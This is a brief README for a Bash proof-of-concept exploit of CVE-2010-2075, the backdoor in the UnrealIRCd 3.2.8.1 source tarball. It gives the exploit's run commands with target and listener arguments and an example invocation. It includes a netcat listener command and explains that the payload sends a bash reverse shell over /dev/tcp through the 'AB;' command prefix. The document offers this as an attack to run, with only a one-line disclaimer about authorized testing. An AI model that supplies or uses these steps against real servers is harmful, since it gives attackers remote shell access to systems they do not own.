
CVE-2010-2075 exploit
Bash PoC for the backdoor introduced in the UnrealIRCd 3.2.8.1 source tarball.
The compromised binary executes arbitrary commands prefixed with AB; sent to the IRC port.
chmod +x exploit.sh
./exploit.sh <RHOST> <RPORT> <LHOST> <LPORT>
Example:
./exploit.sh 192.168.1.10 6667 192.168.1.20 4444
Set up a listener before running:
nc -lvnp 4444
The backdoor checks incoming data for the prefix AB; and passes the rest
to the system shell. The payload sends a bash reverse shell via /dev/tcp.
For educational and authorized testing only.